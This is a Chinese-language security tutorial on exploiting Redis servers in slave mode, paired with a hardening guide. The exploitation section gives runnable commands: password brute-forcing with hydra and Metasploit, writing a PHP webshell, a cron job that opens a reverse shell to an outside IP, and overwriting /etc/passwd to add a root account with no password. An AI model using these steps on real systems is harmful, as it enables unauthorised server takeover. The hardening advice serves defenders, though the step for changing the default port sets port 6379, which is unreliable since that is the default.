Redis slave 模式下的漏洞利用
字数 807 2025-08-18 11:39:03
Redis Slave模式下的漏洞利用与安全加固指南
一、Redis简介
Redis是一个完全开源免费的高性能key-value数据库,具有以下特点:
- 支持数据持久化:内存数据可保存到磁盘,重启后可重新加载
- 支持多种数据结构:包括list、set、zset、hash等
- 支持数据备份:通过master-slave模式实现数据备份
二、环境搭建
1. 安装Redis(以2.8.17版本为例)
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
tar zxvf redis-2.8.17.tar.gz
cd redis-2.8.17
make MALLOC=libc
make install
# 创建目录结构
mkdir -p /usr/local/redis/etc
mkdir -p /usr/local/redis/bin
# 复制配置文件
cp redis.conf /usr/local/redis/etc/
# 复制可执行文件
cd src/
mv mkreleasehdr.sh redis-benchmark redis-check-aof redis-check-dump redis-cli redis-server /usr/local/redis/bin
2. 配置Slave节点
在slave节点的redis.conf文件中添加:
echo "slaveof 192.168.31.41 6379" >> /usr/local/redis/etc/redis.conf
3. 启动Redis服务
/usr/local/redis/bin/./redis-server /usr/local/redis/etc/redis.conf
启动后,slave节点会自动同步master节点的数据。
三、漏洞利用方法
1. 暴力枚举Redis密码
使用hydra工具:
hydra -P /root/tools/pass/q_10.txt redis://193.168.31.41
或使用Metasploit框架:
msf > use auxiliary/scanner/redis/redis_login
2. 未授权或已知密码情况下的利用
(1) 主从切换利用
当slave节点断开连接后,可以晋升为主节点:
./redis-cli -h 192.168.31.207 -p 6379
INFO replication
SLAVEOF no one
(2) 写入Webshell
config set dir /var/www/html
config set dbfilename webshell.php
set webshell "<?php phpinfo(); ?>"
save
(3) 通过计划任务反弹shell
config set dir /var/spool/cron
config set dbfilename root
set xxx "\n\n*/1 * * * * /bin/sh -i>&/dev/tcp/192.168.31.62/4444 0>&1\n\n"
save
(4) 写入SSH免密登录密钥
方法与写入webshell类似,需要知道目标用户的.ssh目录路径。
(5) 修改/etc/passwd文件
config set dir /etc/
config set dbfilename passwd
set xxx "eviluser::0:0::/root:/bin/bash\n"
save
四、Redis安全加固措施
1. 禁用危险命令
修改redis.conf文件:
rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""
2. 以低权限运行Redis
groupadd -r redis && useradd -r -g redis redis
3. 添加密码验证
修改redis.conf文件:
requirepass mypassword
4. 禁止外网访问
修改redis.conf文件:
bind 127.0.0.1
5. 修改默认端口
修改redis.conf文件:
port 6379
6. 设置防火墙策略
仅允许指定IP访问Redis服务端口:
iptables -A INPUT -p tcp -s 允许的IP地址 --dport 6379 -j ACCEPT
iptables -A INPUT -p tcp --dport 6379 -j DROP
五、最佳实践建议
- 定期更新Redis到最新稳定版本
- 启用AOF持久化而非RDB持久化
- 监控Redis日志文件
- 使用SSL/TLS加密通信(Redis 6.0+支持)
- 限制内存使用量防止DoS攻击
- 禁用Lua脚本执行或限制可执行脚本
通过以上措施,可以显著提高Redis服务的安全性,防止未授权访问和数据泄露风险。